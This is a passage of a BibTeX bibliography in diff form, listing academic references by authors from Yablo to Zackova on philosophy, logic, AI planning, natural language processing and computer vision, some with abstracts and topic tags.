Rudnicky}, + title = {Task-Based Dialog Management Using an Agenda}, + booktitle = {{ANLP/NAACL} Workshop on Conversational Systems}, + year = {2000}, + editor = {Candace Sidner et al.}, + pages = {42--47}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {computational-dialogue;} + } + +@article{ yablo:1982a, + author = {Steven Yablo}, + title = {Grounding, Dependence, and Paradox}, + journal = {Journal of Philosophical Logic}, + year = {1982}, + volume = {11}, + number = {1}, + pages = {117--137}, + topic = {semantic-paradoxes;} + } + +@article{ yablo:1987a, + author = {Stephen Yablo}, + title = {Truth and Reflection}, + journal = {Journal of Philosophical Logic}, + year = {1987}, + volume = {16}, + number = {3}, + pages = {297--349}, + topic = {truth;semantic-paradoxes;semantic-reflection;} + } + +@incollection{ yablo:1993a, + author = {Stephen Yablo}, + title = {Hop, Skip and Jump: The Agonistic + Conception of Truth}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {371--396}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {truth;semantic-paradoxes;} + } + +@article{ yablo:1993b, + author = {Stephen Yablo}, + title = {Is Conceivability a Guide to Possibility?}, + journal = {Philosophy and Phenomenological Research}, + year = {1993}, + volume = {53}, + number = {1}, + missinginfo = {pages}, + topic = {a-priori;possibility;} + } + +@incollection{ yablo:1997b, + author = {Stephen Yablo}, + title = {Wide Causation}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {251--281}, + address = {Oxford}, + topic = {philosophy-of-mind;action;causality;} + } + +@article{ yablo:2002a, + author = {Stephen Yablo}, + title = {De Facto Dependence}, + journal = {The Journal of Philosophy}, + year = {2002}, + volume = {99}, + number = {3}, + pages = {130--148}, + topic = {causality;} + } + +@incollection{ yaffe:2000a, + author = {Gideon Yaffe}, + title = {Free Will and Agency at Its Best}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {203--229}, + address = {Oxford}, + topic = {freedom;agency;volition;} + } + +@article{ yager:1987b, + author = {Ronald R. Yager}, + title = {Using Approximate Reasoning to Represent Default + Knowledge}, + journal = {Artificial Intelligence}, + year = {1987}, + volume = {31}, + number = {1}, + pages = {99--112}, + acontentnote = {Abstract: + We discuss the issue of default inference rules. We introduce + the reasoning mechanism of the theory of approximate reasoning. + We show how we can represent default knowledge in the framework + of this theory. } , + topic = {nonmonotonic-reasoning;approximation;} + } + +@book{ yager-etal:1987a, + editor = {Ronald R. Yager and S. Ovchinnikov and R.M. Tong and H.T. + Nguyen}, + title = {Fuzzy Sets and Applications: Selected Papers}, + publisher = {John Wiley and Sons}, + year = {1987}, + address = {New York}, + ISBN = {0471857106}, + xref = {Review: shen:1993a.}, + topic = {fuzzy-logic;} + } + +@book{ yager-etal:1994a, + editor = {Ronald R. Yager and Janusz Kacprzyk and Mario Fedrizzi}, + title = {Advances in the {D}empster-{S}hafer Theory of Evidence}, + publisher = {John Wiley and Sons}, + year = {1994}, + address = {New York}, + ISBN = {0471552488}, + topic = {reasoning-about-uncertainty;Dempster-Shafer-theory;} + } + +@book{ yager-filev:1994a, + author = {Ronald R. Yager and Dimitar P. Filev}, + title = {Essentials of Fuzzy Modeling and Control}, + publisher = {John Wiley and Sons}, + year = {1994}, + address = {New York}, + ISBN = {0471017612}, + topic = {fuzzy-control;} + } + +@inproceedings{ yager:1995a, + author = {Ronald R. Yager}, + title = {On the Representation of Nonmonotonic Relations in the + Theory of Evidence}, + booktitle = {Proceedings of the Fourteenth International Joint + Conference on Artificial Intelligence}, + year = {1995}, + editor = {Chris Mellish}, + pages = {1902--1907}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + topic = {nonmonotonic-reasoning;probabilistic-reasoning;} + } + +@incollection{ yagisawa:1989a, + author = {Takashi Yagisawa}, + title = {The Reverse {F}rege Puzzle}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {341--367}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {Frege;sense-reference;twin-earth;} + } + +@incollection{ yagisawa:1993a, + author = {Takashi Yagisawa}, + title = {A Semantic Solution to {F}rege's Puzzle}, + booktitle = {Philosophical Perspectives, Volume 7: + Language and Logic}, + publisher = {Blackwell Publishers}, + year = {1993}, + editor = {James E. Tomberlin}, + pages = {135--154}, + address = {Oxford}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {reference;analyticity;} + } + +@incollection{ yagisawa:1997a, + author = {Takasu Yagisawa}, + title = {A Somewhat {R}ussellian Theory of Intensional + Contexts}, + booktitle = {Philosophical Perspectives 11: Mind, Causation, and World}, + publisher = {Blackwell Publishers}, + year = {1997}, + editor = {James E. Tomberlin}, + pages = {43--82}, + address = {Oxford}, + topic = {propositional-attitudes;} + } + +@article{ yamamoto-church:2001a, + author = {Mikio Yamamoto and Kenneth W. Church}, + title = {Using Suffix Arrays to Compute Term Frequency + and Document Frequency for All Substrings in a Corpus}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {1}, + pages = {1--30}, + topic = {statistical-nlp;} + } + +@incollection{ yamanashi:1998a, + author = {Masa-Aki Yamanashi}, + title = {Some Issues in the Treatment of + Irony and Other Topics}, + booktitle = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1998}, + editor = {Robyn Carston and Seiji Uchida}, + pages = {271--281}, + address = {Amsterdam}, + topic = {relevance-theory;irony;} + } + +@article{ yang_gj-etal:1991a, + author = {Gijoo Yang and Kathleen F. McCoy and K. Vijay-Shanker}, + title = {From Functional Specification to Syntactic + Structures: Systemic Grammar and Tree-Adjoining Grammar}, + pages = {207--219}, + journal = {Computational Intelligence}, + volume = {7}, + number = {4}, + year = {1991}, + topic = {nl-realization;TAG-grammar;systemic-grammar;} + } + +@article{ yang_q:1990a, + author = {Quiang Yang}, + title = {Formalizing Planning Knowledge for a Hierarchical Planner}, + journal = {Computational Intelligence}, + year = {1990}, + volume = {6}, + number = {1}, + pages = {12--24}, + topic = {planning;hierarchical-planning;} + } + +@inproceedings{ yang_q-chan:1994a, + author = {Quiang Yang and Alex Y. M. Chan}, + title = {Delaying Variable Binding Commitments in Planning}, + booktitle = {Proceedings of the Second International + Conference on A.I. Planning Systems}, + year = {1994}, + pages = {182--187}, + editor = {Kristian Hammond}, + topic = {planning-algorithms;} + } + +@book{ yang_q:1997a, + author = {Qiang Yang}, + title = {Intelligent Planning: A Decomposition + and Abstraction Based Approach to Classical Planning}, + publisher = {Springer-Verlag}, + year = {1997}, + address = {Berlin}, + ISBN = {3540619011 (hardcover)}, + contentnote = {This book is recommended in giunchiglia_f-spalazzi:1999a + as a general introduction to planning.}, + xref = {Review: giunchiglia_f-spalazzi:1999a.}, + topic = {planning;foundations-of-planning;situation-calculus;} + } + +@article{ yang_yb-yuille:1995a, + author = {Yibing Yang and Alan L. Yuille}, + title = {Multilevel Enhancement and Detection of Stereo Disparity + Surfaces}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {78}, + number = {1--2}, + pages = {121--145}, + acontentnote = {Abstract: + The problem of stereo vision has been of increasing interest to + the computer vision community over the past decade. This paper + presents a new computational framework for matching a pair of + stereo images arising from viewing the same object from two + different positions. In contrast to previous work, this approach + formulates the matching problem as detection of a "bright", + coherent disparity surface in a 3D image called the + spatio-disparity space (SDS) image. The SDS images represents + the goodness of each and every possible match. + A nonlinear filter is proposed for enhancing the disparity + surface in the SDS image and for suppressing the noise. This + filter is used to construct a hyperpyramid representation of the + SDS image. Then the disparity surface is detected using a + coarse-to-fine control structure. The proposed method is robust + to photometric and geometric distortions in the stereo images, + and has a number of computational advantages. It produces good + results for complex scenes. } , + topic = {computer-vision;stereoscopic-vision;} + } + +@article{ yang_ym-etal:1998a, + author = {Yiming Yang and Jaime G. Carbonell and and Ralf D. + Brown and Robert E. Frederking}, + title = {Translingual Information Retrieval: Learning from + Bilingual Corpora}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {103}, + number = {1--2}, + pages = {323--345}, + topic = {machine-learning;machine-translation;} + } + +@book{ yarovsky-church:1995a, + editor = {David Yarovsky and Kenneth Church}, + title = {Proceedings of the Conference on Empirical Methods + in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1995}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Eric Brill, "Unsupervised Learning of Disambiguation Rules for + Part of Speech Tagging" + 2. Carl de Marcken, "Lexical Heads, Phrase Structure, and Induction + of Grammar" + 3. Michael Collins and James Brooks, "Prepositional Attachment through + a Backed-off Model" + 4. Andrew R. Golding, "A {B}ayesian Hybrid Method for Context-Sensitive + Spelling Correction" + 5. Philip Resnik, "Disambiguating Noun Groupings with Respect to + {W}ordnet Senses" + 6. Dekai Wu, "Trainable Coarse Bilingual Grammars for Parallel Text + Bracketing" + 7. Lance Ramshaw and Mitch Marcus, "Text Chunking Using + Transformation-Based Learning" + 8. Fernando Pereira et al., "Beyond Word N-Grams" + 9. Jing-Shin Chang et al., "Automatic Construction of a {C}hinese + Electronic Dictionary" + 10. Kenneth Church and William Gale, "Inverse Document Frequency (IDF): + A Measure of Deviations from {P}oisson" + 11. Joe Zhou and Pete Dapkus, "Automatic Suggestion of Significant Terms + for a Predefined Topic" + 12. Ellen Riloff and Jay Shoen, "Automatically Acquiring + Conceptual Patterns without an Automated Corpus" + 13. Hsin-Hsi Chen and Yue-Shi Lee, "Development of a Partially Bracketed + Corpus with Part-Of-Speech Information Only" + 14. Pascale Fung, "Compiling Bilingual Lexicon Entries from a + Non-Parallel {E}nglish-{C}hinese Corpus" + 15. I. Dan Melamed, "Automatic Evaluation and Uniform Filter Cascades for + Inducing N-Best Translation Lexicons" + }, + } + +@book{ yarowsky-church_k:1995a, + editor = {David Yarowsky and Kenneth W. Church}, + title = {Proceedings of the Third Workshop on Very + Large Corpora}, + publisher = {Association for Computational Linguistics}, + year = {1995}, + address = {Somerset, New Jersey}, + contentnote = {TC: + 1. Eric Brill, "Unsupervised Learning of Disambiguation Rules for + Part of Speech Tagging" + 2. Carl de Marcken, "Lexical Heads, Phrase Structure, and Induction + of Grammar" + 3. Michael Collins and James Brooks, "Prepositional Attachment through + a Backed-off Model" + 4. Andrew Golding, "A Bayesian Hybrid Method for Context-Sensitive + Spelling Correction" + 5. Philip Resnik, "Disambiguating Noun Groupings with Respect to + {W}ordnet Senses" + 6. Dekai Wu, "Trainable Coarse Bilingual Grammars for Parallel Text + Bracketing" + 7. Lance Remshaw and Mitch Marcus, "Text Chunking Using + Transformation-Based Learning" + 8. Fernando Pereira et al., "Beyond Word N-Grams" + 9. Jing-Shin Chang et al., "Automatic Construction of a {C}hinese + Electronic Dictionary" + 10. Kenneth Church and William Gale, "Inverse Document + Frequency (IDF): A Measure of Deviations from {P}oisson" + 11. Joe Zhou and Pete Dapkus, "Automatic Suggestion of + Significant Terms for a Predefined Topic" + 12. Ellen Riloff and Jay Shoen, "Automatically Acquiring + Conceptual Patterns without an Automated Corpus" + 13. Hsin-Hsi Chen and Yue-Shi Lee, "Development of a Partially + Bracketed Corpus with Part-Of-Speech Information Only" + 14. Pascale Fung, "COmpiling Bilingual Lexicon Entries from a + Non-Parallel {E}nglish-{C}hinese Corpus" + 15. I. Dan Melamed, "Automatic Evaluation and Uniform Filter + Cascades for Inducing N-Best Translation Lexicons" + } , + topic = {corpus-linguistics;} + } + +@article{ yashin:1999a, + author = {A.D. Yashin}, + title = {Irreflexive Modality in the Intuitionistic + Propositional Logic and {N}ovikov Completeness}, + journal = {Journal of Philosophical Logic}, + year = {1999}, + volume = {28}, + number = {2}, + pages = {175--197}, + topic = {intuitionistic-logic;} + } + +@article{ yates-etal:1970a, + author = {Robert A. Yates and Bertram Raphael and Timothy P. Hart}, + title = {Resolution Graphs}, + journal = {Artificial Intelligence}, + year = {1970}, + volume = {1}, + number = {3--4}, + pages = {257--289}, + topic = {theorem-proving;resolution;} + } + +@incollection{ yazdani:1984a, + author = {Masoud Yazdani}, + title = {Creativity in Men and Machines}, + booktitle = {The Mind and the Machine: Philosophical Aspects + of Artificial Intelligence}, + publisher = {Ellis Horwood, Ltd.}, + year = {1984}, + editor = {Steve B. Torrance}, + pages = {177--181}, + address = {Chichester}, + topic = {creativity;philosophy-of-AI;} + } + +@article{ yeap_wk:1988a, + author = {Wai K. Yeap}, + title = {Towards a Computational Theory of Cognitive Maps}, + journal = {Artificial Intelligence}, + year = {1988}, + volume = {34}, + number = {3}, + pages = {297--360}, + acontentnote = {Abstract: + A computational theory of cognitive maps is developed which can + explain some of the current findings about cognitive maps in the + psychological literature and which provides a coherent framework + for future development. The theory is tested with several + computer implementations which demonstrate how the shape of the + environment is computed and how one's conceptual representation + of the environment is derived. We begin with the idea that the + cognitive mapping process should be studied as two loosely + coupled modules: The first module, known as the raw cognitive + map, is computed from information made explicit in Marr's + 2[$\textfrac{1}{2}$]-D sketch and not from high-level + descriptions of what we perceive. The second module, known as + the full cognitive map, takes the raw cognitive map as input and + produces different ``abstract presentations'' for solving + high-level spatial tasks faced by the individual. } , + topic = {spatial-reasoning;} + } + +@article{ yeap_wk:1998a, + author = {Wai Kiang Yeap}, + title = {Emperor {AI}, Where Is Your Mind?}, + journal = {The {AI} Magazine}, + year = {1998}, + volume = {18}, + number = {4}, + pages = {137--144}, + topic = {foundations-of-AI;philosophy-of-AI;} + } + +@article{ yeap_wk-jeffreys:1999a, + author = {Wai K. Yeap and Margaret E. Jeffries}, + title = {Computing a Representation of the Local Environment}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {107}, + number = {2}, + pages = {265--301}, + topic = {qualitative-reasoning;spatial-reasoning;map-building;} + } + +@article{ yeh-mellish:1997a, + author = {Ching-Long Yeh and Chris Mellish}, + title = {An Empirical Study on the Generation of Anaphora in {C}hinese}, + journal = {Computational Linguistics}, + year = {1997}, + volume = {23}, + number = {1}, + pages = {169--190}, + topic = {nl-generation;anaphora;Chinese-language;} + } + +@inproceedings{ yelland:2000a, + author = {Phillip M. Yelland}, + title = {An Alternative Combination of {B}ayesian Networks + and Description Logics}, + booktitle = {{KR}2000: Principles of Knowledge Representation and + Reasoning}, + year = {2000}, + editor = {Anthony G. Cohn and Fausto Giunchiglia and Bart Selman}, + publisher = {Morgan Kaufmann}, + address = {San Francisco}, + pages = {225--233}, + topic = {extensions-of-Bayesian-networks;Bayesian-networks; + taxonomic-logics;extensions-of-kl1;} + } + +@inproceedings{ yemini-cohen:1979a, + author = {Y. Yemini and D. Cohen}, + title = {Some Issues in Distributed Process Communication}, + booktitle = {Proceedings of the First International Conference on + Distributed Computing Systems}, + year = {1979}, + pages = {199--203}, + missinginfo = {A's 1st name, publisher, address, editor}, + topic = {distributed-systems;communication-protocols;} + } + +@article{ yen-etal:1991a, + author = {John Yen and Hsiao-Lei Juang and Robert MacGregor}, + title = {Using Polymorphism to Improve Expert System Maintainability}, + journal = {{IEEE} Expert}, + year = {1991}, + volume = {6}, + number = {2}, + pages = {48--55}, + month = {April}, + topic = {kr;expert-systems;hybrid-kr-architectures;production-systems; + kr-course;} + } + +@article{ yen-etal:1991b, + author = {John Yen and R. Neches and Robert MacGregor}, + title = {{\sc clasp}: Integrating Term Subsumption Systems and + Production Systems}, + journal = {{IEEE} Transactions on Knowledge and Data Engineering}, + year = {1991}, + volume = {3}, + number = {1}, + pages = {25--32}, + month = {March}, + topic = {kr;hybrid-kr-architectures;kr-course;} + } + +@incollection{ yessininvolpin:1970a, + author = {A. S. Yessinin-Volpin}, + title = {The Ultra-Intuitionistic Criticism and the + Antitraditional Program for Foundations of Mathematics}, + booktitle = {Intuitionism and Proof Theory}, + publisher = {North-Holland}, + year = {1970}, + pages = {3--45}, + address = {Amsterdam}, + missinginfo = {A's 1st name.}, + topic = {intuitionistic-mathematics;foundations-of-mathematics;} + } + +@article{ yi_bu:1999a, + author = {Byeong-Uk Yi}, + title = {Is Two a Property?}, + journal = {The Journal of Philosophy}, + year = {1999}, + volume = {96}, + number = {4}, + pages = {163--190}, + topic = {foundations-of-arithmetic;plural; + generalized-quantifiers;} + } + +@inproceedings{ yi_ch:1995a, + author = {Choongho Yi}, + title = {Towards Assessment of Logics for Concurrent Actions}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Extending Theories of Action: Formal Theories and Applications}, + year = {1995}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {action;planning-formalisms;concurrent-actions;} + } + +@article{ ying_ms-wang_hq:2002a, + author = {Mingshen Ying and Huaiqing Wang}, + title = {Lattice-Theoretic Models of Conjectures, Hypotheses, and + COnsequences}, + journal = {Artificial Intelligence}, + year = {2002}, + volume = {139}, + number = {2}, + pages = {253--267}, + topic = {hypothesis-management;lattice-theory;} + } + +@article{ yip:1991a, + author = {Kenneth Man-Kam Yip}, + title = {Understanding Complex Dynamics by Visual and Symbolic + Reasoning}, + journal = {Artificial Intelligence}, + year = {1991}, + volume = {51}, + number = {1--3}, + pages = {179--221}, + acontentnote = {Abstract: + Professional scientists and engineers routinely use nonverbal + reasoning processes and graphical representations to organize + their thoughts and as part of the process of solving otherwise + verbally presented problems. This paper presents a computational + theory and an implemented system that capture some aspects of + this style of reasoning. The system, consisting of a suite of + computer programs collectively known as KAM, uses numerical + methods as a means to shift back and forth between symbolic and + geometric methods of reasoning. The KAM program has three novel + features: (1) it articulates the idea that ``visual mechanisms + are useful for problem solving'' into a workable computational + theory, (2) it applies the approach to a domain of great + technical difficulty, the field of complex nonlinear chaotic + dynamics, and (3) it demonstrates the power of the approach by + solving problems of real interest to working scientists and + engineers. + } , + topic = {spatial-reasoning;reasoning-about-physical-systems; + geometrical-reasoning; + combined-qualitative-and-quantitative-reasoning;} + } + +@article{ yip:1996a, + author = {Kenneth {Man-kam Yip}}, + title = {Model Simplification by Asymptotic Order of Magnitude + Reasoning}, + journal = {Artificial Intelligence}, + year = {1996}, + volume = {80}, + number = {2}, + pages = {309--348}, + topic = {reasoning-about-physical-systems;} + } + +@article{ yokoo-etal:2001a, + author = {Makoto Yokoo and Yoko Sakurai and Shigeo Matsubara}, + title = {Robust Combinatorial Auction Protocol against False-Name + Bids}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {130}, + number = {2}, + pages = {167--181}, + topic = {electronic-commerce;auction-protocols;game-theory;} + } + +@phdthesis{ yoo:1997a, + author = {Eun Jung Yoo}, + title = {Quantifiers and Wh-Interrogatives in the Syntax-Semantics + Interface}, + school = {The Ohio State University}, + year = {1997}, + type = {Ph.{D}. Dissertation}, + address = {Columbus, Ohio}, + topic = {nl-quantifiers;interrogatives;nl-semantics;} + } + +@article{ yoon:1996a, + author = {Yongeun Yoon}, + title = {Total and Partial Predicates and the Weak and Strong + Interpretation}, + journal = {Natural Language Semantics}, + year = {1996}, + volume = {4}, + number = {3}, + pages = {217--236}, + topic = {donkey-anaphora;} + } + +@article{ york:1992a, + author = {Jeremy York}, + title = {Use of the {G}ibbs Sampler in Expert Systems}, + journal = {Artificial Intelligence}, + year = {1992}, + volume = {56}, + number = {1}, + pages = {115--130}, + acontentnote = {Abstract: + The use of the Gibbs sampler as an alternative to other methods + of performing calculations on a (Bayesian) belief network is + surveyed, with reference to similar work in statistical analysis + of genetic pedigrees. This Monte Carlo technique is one of many + such methods which generate a Markov chain with a specified + stationary distribution. If the distribution of the belief + network is strictly positive, then convergence of the Gibbs + sampler follows; however, the weaker condition of irreducibility + is all that is necessary for convergence. Practical implications + of these requirements are discussed, with illustrations. Methods + for assessing the variability of estimates produced by the Gibbs + sampler are described. } , + topic = {expert-systems;Bayesian-networks;} + } + +@article{ yoshida-notoda:1995a, + author = {Ken'ichi Yoshida and Hiroshi Motoda}, + title = {{CLIP}: Concept Learning from Inference Patterns}, + journal = {Artificial Intelligence}, + year = {1995}, + volume = {75}, + number = {1}, + pages = {63--92}, + acontentnote = {Abstract: + A new concept-learning method called CLIP (concept learning from + inference patterns) is proposed that learns new concepts from + inference patterns, not from positive/negative examples that + most conventional concept learning methods use. The learned + concepts enable an efficient inference on a more abstract level. + We use a colored digraph to represent inference patterns. The + graph representation is expressive enough and enables the + quantitative analysis of the inference pattern frequency. The + learning process consists of the following two steps: (1) + Convert the original inference patterns to a colored digraph, + and (2) Extract a set of typical patterns which appears + frequently in the digraph. The basic idea is that the smaller + the digraph becomes, the smaller the amount of data to be + handled becomes and, accordingly, the more efficient the + inference process that uses these data. Also, we can reduce the + size of the graph by replacing each frequently appearing graph + pattern with a single node, and each reduced node represents a + new concept. Experimentally, CLIP automatically generates + multilevel representations from a given physical/single-level + representation of a carry-chain circuit. These representations + involve abstract descriptions of the circuit, such as + mathematical and logical descriptions. } , + topic = {concept-learning;graph-based-reasoning;} + } + +@incollection{ yoshimura:1998a, + author = {Akiko Yoshimura}, + title = {Procedural Semantics and Metalinguistic Negation}, + booktitle = {Relevance Theory: Applications and Implications}, + publisher = {John Benjamins Publishing Co.}, + year = {1998}, + editor = {Robyn Carston and Seiji Uchida}, + pages = {105--122}, + address = {Amsterdam}, + topic = {relevance-theory;negation;} + } + +@article{ you-etal:1999a, + author = {Jia-Huai You and Xianchang Wang and Li Yan Yuan}, + title = {Compiling Defeasible Inheritance Networks to + General Logic Programs}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {113}, + number = {1--2}, + pages = {247--268}, + topic = {inheritance-theory;} + } + +@article{ youmans:1991a, + author = {Gilbert Youmans}, + title = {A New Tool for Discourse Analysis: The Vocabulary + Management Profile}, + journal = {Language}, + year = {1991}, + volume = {67}, + number = {4}, + pages = {763--789}, + topic = {discourse-analysis;corpus-statistics;pragmatics;} + } + +@article{ young_ma-cohen:1991a, + author = {Mark A. Young and Robin Cohen}, + title = {Determining Intended Evidence Relations in Natural Language + Arguments}, + journal = {Computational Intelligence}, + year = {1991}, + volume = {7}, + pages = {110--118}, + missinginfo = {number}, + topic = {argumentation;nl-interpretation;} + } + +@inproceedings{ young_ma:1992a, + author = {Mark A. Young}, + title = {Nonmonotonic Sorts for Feature Structures}, + booktitle = {Proceedings of the Tenth National Conference on + Artificial Intelligence}, + year = {1992}, + editor = {Paul Rosenbloom and Peter Szolovits}, + pages = {596--601}, + organization = {American Association for Artificial Intelligence}, + publisher = {AAAI Press}, + address = {Menlo Park, California}, + topic = {default-unification;nm-ling;} + } + +@phdthesis{ young_ma:1994a, + author = {Mark A. Young}, + title = {Features, Unification, and Nonmonotonicity}, + school = {University of Michigan}, + year = {1994}, + address = {Ann Arbor, Michigan}, + topic = {default-unification;} + } + +@incollection{ young_ra:1999a, + author = {Robert A. Young}, + title = {Context and Supercontext}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {417--441}, + address = {Berlin}, + topic = {context;philosophy-of-science;philosophical-realism;} + } + +@incollection{ young_ra:2001a, + author = {Roger A. Young}, + title = {Explanation as Contextual}, + booktitle = {Modeling and Using Context}, + publisher = {Springer-Verlag}, + year = {2001}, + editor = {Varol Akman and Paolo Bouquet and Richmond Thomason + and Roger A. Young}, + pages = {381--394}, + address = {Berlin}, + topic = {context;explanation;philosophy-of-science;} + } + +@inproceedings{ young_rm1:1994b, + author = {R. Michael Young}, + title = {Decomposition and Causality in Partial Order Planning}, + booktitle = {Proceedings of the Second International Conference + on {AI} and Planning Systems}, + year = {1994}, + missinginfo = {editor, pages, organization, publisher, address}, + topic = {planning-formalisms;discourse-planning;pragmatics;} + } + +@techreport{ young_rm1-etal:1994a1, + author = {R. Michael Young and Johanna D. Moore and Martha E. + Pollack}, + title = {Towards a Principled Representation of Discourse Plans}, + institution = {Intelligent Systems Program, University of + Pittsburgh}, + number = {94--2}, + year = {1994}, + address = {Pittsburgh, Pennsylvania}, + xref = {Also published as young_rm-etal:1994a2}, + topic = {planning-formalisms;discourse-planning;pragmatics;} + } + +@inproceedings{ young_rm1-etal:1994a2, + author = {R. Michael Young and Johanna D. Moore and Martha E. + Pollack}, + title = {Towards a Principled Representation of Discourse Plans}, + booktitle = {Proceedings of the Sixteenth Annual Meeting of the + {C}ognitive {S}cience {S}ociety}, + year = {1994}, + organization = {Cognitive Science Society}, + missinginfo = {editor, pages, publisher, address}, + xref = {Also published as young_rm1-etal:1994a1}, + topic = {planning-formalisms;discourse-planning;pragmatics;} + } + +@inproceedings{ young_rm1-moore_jd:1994a, + author = {R. Michael Young and Johanna D. Moore}, + title = {D{POCL}: {A} Principled Approach to Discourse Planning}, + year = {1994}, + booktitle = {Seventh International Workshop on Natural Language Generation}, + address = {Kennebunkport, Maine}, + pages = {13--20}, + topic = {planning;discourse-planning;pragmatics;} +} + +@inproceedings{ young_rm1:1995a, + author = {R. Michael Young}, + title = {The Role of Plans and Planning in Task-Related Discourse}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Extending Theories of Action: Formal Theories and Applications}, + year = {1995}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {planning-formalisms;discourse-planning;pragmatics;} + } + +@inproceedings{ young_rm1-etal:1995a, + author = {R. Michael Young and Martha E. Pollack and + Johanna D. Moore}, + title = {Decomposition and Causality in Partial Order Planning}, + year = {1994}, + booktitle = {Second International Conference on Artificial + Intelligence and Planning Systems}, + note = {Also Technical Report 94-1, Intelligent Systems Program, + University of Pittsburgh.}, + topic = {planning;} +} + +@techreport{ young_rm1:1996a, + author = {R. Michael Young}, + title = {A Developer's Guide to the Longbow Discourse Planning + System}, + institution= {Intelligent Systems Program, University of Pittsburgh}, + year = {1996}, + address = {Pittsburgh, Pennsylvania}, + topic = {discourse-planning;pragmatics;} +} + +@techreport{ young_rm1:1996b, + author = {R. Michael Young}, + title = {A Developer's Guide to the Longbow Discourse Planning + System}, + institution= {Intelligent Systems Program, University of Pittsburgh}, + number = {96-1}, + year = {1996}, + address = {Pittsburgh, Pennsylvania}, + topic = {nl-generation;pragmatics;} +} + +@phdthesis{ young_rm1:1997b, + author = {R. Michael Young}, + title = {Generating Concise Descriptions of Complex Activities}, + school = {Intelligent Systems Program, University of Pittsburgh}, + year = {1997}, + type = {Ph.{D}. Dissertation}, + address = {Pittsburgh, Pennsylvania}, + topic = {nl-generation;plan-description;} + } + +@article{ young_rm1:1999a, + author = {R. Michael Young}, + title = {Using {G}rice's Maxim of Quantity to Select the Content + of Plan Descriptions}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {115}, + number = {2}, + pages = {215--256}, + topic = {nl-generation;plan-description;} + } + +@incollection{ young_rm2:1996a, + author = {Richard M. Young}, + title = {Functionality Matters: Capacity Constraints and {S}oar}, + booktitle = {Mind Matters: A Tribute to {A}llen {N}ewell}, + publisher = {Lawrence Erlbaum Associates, Inc.}, + year = {1996}, + editor = {David M. Steier and Tom M. Mitchell}, + address = {Mahwah, New Jersey}, + pages = {179--187}, + topic = {cognitive-architectures;cognitive-psychology;} + } + +@book{ young_s-bloothooft:1997a, + editor = {Steve Young and Gerrit Bloothooft}, + title = {Corpus-Based Methods in Language + and Speech Processing}, + publisher = {Kluwer Academic Publishers}, + year = {1997}, + address = {Dordrecht}, + xref = {Review: bruce:1998a}, + topic = {corpus-methods;nl-processing;} + } + +@article{ yourgrau:1985a, + author = {Palle Yourgrau}, + title = {On the Logic of Indeterminist Time}, + journal = {The Journal of Philosophy}, + year = {1985}, + volume = {82}, + number = {10}, + pages = {548--559}, + topic = {branching-time;future-contingent-propositions;} + } + +@book{ yourgrau:1991a, + author = {Palle Yourgrau}, + title = {The Disappearance of Time: {K}urt + {G}\"odel and the Idealistic Tradition in Philosophy}, + publisher = {Cambridge University Press}, + year = {1991}, + address = {Cambridge, England}, + xref = {Review: schlesinger_g:1993a.}, + topic = {philosophy-of-time;Goedel;} + } + +@article{ yu_p:1979a, + author = {Paul Yu}, + title = {On the {G}ricean Program about Meaning}, + journal = {Linguistics and Philosophy}, + year = {1979}, + volume = {3}, + number = {2}, + pages = {273--288}, + topic = {speaker-meaning;pragmatics;} + } + +@incollection{ yuille-ullman:1990a, + author = {A. Yuille and S. Ullman}, + title = {Computational Theories of Low-Level Vision}, + booktitle = {An Invitation to Cognitive Science. Volume + 2: Visual Cognition and Action}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Daniel N. Osherson and Howard Lasnik}, + pages = {5--39}, + address = {Cambridge, Massachusetts}, + topic = {cognitive-psychology;human-vision;visual-reasoning;} + } + +@inproceedings{ yvon:1997a, + author = {Fran\c{c}ois Yvon}, + title = {Paradigmatic Cascades: A Linguistically Sound Model + of Pronunciation by Analogy}, + booktitle = {Proceedings of the Thirty-Fifth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and Eighth + Conference of the {E}uropean Chapter of the {A}ssociation + for {C}omputational {L}inguistics}, + year = {1997}, + editor = {Philip R. Cohen and Wolfgang Wahlster}, + pages = {428--435}, + organization = {Association for Computational Linguistics}, + publisher = {Association for Computational Linguistics}, + address = {Somerset, New Jersey}, + topic = {pronunciation-models;analogy;} + } + +@incollection{ zackova-etal:2000a, + author = {Eva \v{Z}a\v{c}kov\'a and Lobo\v{s} Popelinsk\'y and Milo\v{s} + Nepil}, + title = {Recognition and Tagging of 